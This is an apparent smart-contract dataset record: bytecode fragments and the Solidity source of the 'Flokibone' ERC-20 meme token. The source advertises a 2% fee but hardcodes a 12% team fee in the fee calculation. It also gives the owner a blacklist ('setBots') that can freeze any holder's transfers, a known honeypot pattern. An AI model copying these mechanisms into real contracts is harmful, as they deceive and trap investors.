000908152600260205260409020548211156106bd57600080fd5b50336000818152600260205260409020546106de908363ffffffff610c4416565b600160a060020a0382166000908152600260205260408120919091555461070b908363ffffffff610c4416565b600055604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518381529051600091600160a060020a038416917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600154600160a060020a031633146107a957600080fd5b600154600160a060020a03838116911614156107c457600080fd5b600160a060020a03919091166000908152600360205260409020805460ff1916911515919091179055565b336000908152600660209081526040808320600160a060020a03861684529091528120548083111561084457336000908152600660209081526040808320600160a060020a0388168452909152812055610879565b610854818463ffffffff610c4416565b336000908152600660209081526040808320600160a060020a03891684529091529020555b336000818152600660209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a0381166000908152600260205260409020545b919050565b60055460009060ff161561095557600160a060020a03821660009081526003602052604090205460ff161580156109435750600154600160a060020a03838116911614155b15610950575060006108f9565b61097e565b600160a060020a03821660009081526004602052604090205460ff161561097e575060006108f9565b506001919050565b600154600160a060020a031681565b60046020526000908152604090205460ff1681565b6000600160a060020a03831615156109c157600080fd5b6109ca336108fe565b15156109d557600080fd5b336000908152600260205260409020546109f5908363ffffffff610c4416565b3360009081526002602052604080822092909255600160a060020a03851681522054610a27908363ffffffff610c5616565b600160a060020a0384166000818152600260209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60055460ff1681565b336000908152600660209081526040808320600160a060020a0386168452909152812054610ac2908363ffffffff610c5616565b336000818152600660209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b600154600160a060020a03163314610b6957600080fd5b600154600160a060020a0383811691161415610b8457600080fd5b600160a060020a03919091166000908152600460205260409020805460ff1916911515919091179055565b600154600160a060020a03163314610bc657600080fd5b600160a060020a0381161515610bdb57600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610c5057fe5b50900390565b600082820183811015610c6557fe5b93925050505600a165627a7a72305820e45a7d2797b3ac2572816f9ba1d7193c9f044cc6518de5f8f88ba638ba17dd9c0029
|
{"success": true, "error": null, "results": {}}
| 3,958 |
0x950854bf91604756779ac3409a97dcddeabc0f59
|
//Flokibone
//Telegram: https://t.me/Flokibone
//2% Deflationary yes
//CG, CMC listing: Ongoing
//Fair Launch
//Community Driven - 100% Community Owned!
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Flokibone is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Flokibone | t.me/Flokibone";
string private constant _symbol = "Flokibone";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 12);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f07565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a2a565b61045e565b6040516101789190612eec565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a9565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129db565b61048d565b6040516101e09190612eec565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061294d565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061311e565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa7565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061294d565b610783565b6040516102b191906130a9565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e1e565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f07565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a2a565b61098d565b60405161035b9190612eec565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a66565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af9565b6110d5565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299f565b61121e565b60405161041891906130a9565b60405180910390f35b60606040518060400160405280601a81526020017f466c6f6b69626f6e65207c20742e6d652f466c6f6b69626f6e65000000000000815250905090565b600061047261046b6112a5565b84846112ad565b6001905092915050565b600068056bc75e2d63100000905090565b600061049a848484611478565b61055b846104a66112a5565b610556856040518060600160405280602881526020016137e260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c379092919063ffffffff16565b6112ad565b600190509392505050565b61056e6112a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe9565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe9565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a5565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c9b565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dbc565b9050919050565b6107dc6112a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f466c6f6b69626f6e650000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a5565b8484611478565b6001905092915050565b6109b36112a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe9565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133bf565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a5565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e2a565b50565b610b7d6112a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe9565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613069565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006112ad565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612976565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612976565b6040518363ffffffff1660e01b8152600401610e1f929190612e39565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612976565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e8b565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b22565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506b0813f3978f894098440000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107f929190612e62565b602060405180830381600087803b15801561109957600080fd5b505af11580156110ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d19190612ad0565b5050565b6110dd6112a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116190612fe9565b60405180910390fd5b600081116111ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a490612fa9565b60405180910390fd5b6111dc60646111ce8368056bc75e2d6310000061212490919063ffffffff16565b61219f90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161121391906130a9565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131490613049565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138490612f69565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146b91906130a9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114df90613029565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154f90612f29565b60405180910390fd5b6000811161159b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159290613009565b60405180910390fd5b6115a3610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161157506115e1610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7457600f60179054906101000a900460ff1615611844573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ed5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117475750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184357600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178d6112a5565b73ffffffffffffffffffffffffffffffffffffffff1614806118035750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117eb6112a5565b73ffffffffffffffffffffffffffffffffffffffff16145b611842576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183990613089565b60405180910390fd5b5b5b60105481111561185357600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f75750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61190057600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119ab5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a015750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a195750600f60179054906101000a900460ff165b15611aba5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6957600080fd5b603c42611a7691906131df565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac530610783565b9050600f60159054906101000a900460ff16158015611b325750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b4a5750600f60169054906101000a900460ff165b15611b7257611b5881611e2a565b60004790506000811115611b7057611b6f47611c9b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c1b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2557600090505b611c31848484846121e9565b50505050565b6000838311158290611c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c769190612f07565b60405180910390fd5b5060008385611c8e91906132c0565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfe600a611cf060048661212490919063ffffffff16565b61219f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d29573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d8d600a611d7f60068661212490919063ffffffff16565b61219f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db8573d6000803e3d6000fd5b5050565b6000600654821115611e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfa90612f49565b60405180910390fd5b6000611e0d612216565b9050611e22818461219f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e88577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb65781602001602082028036833780820191505090505b5090503081600081518110611ef4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9657600080fd5b505afa158015611faa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fce9190612976565b81600181518110612008577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112ad565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120d39594939291906130c4565b600060405180830381600087803b1580156120ed57600080fd5b505af1158015612101573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121375760009050612199565b600082846121459190613266565b90508284826121549190613235565b14612194576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218b90612fc9565b60405180910390fd5b809150505b92915050565b60006121e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612241565b905092915050565b806121f7576121f66122a4565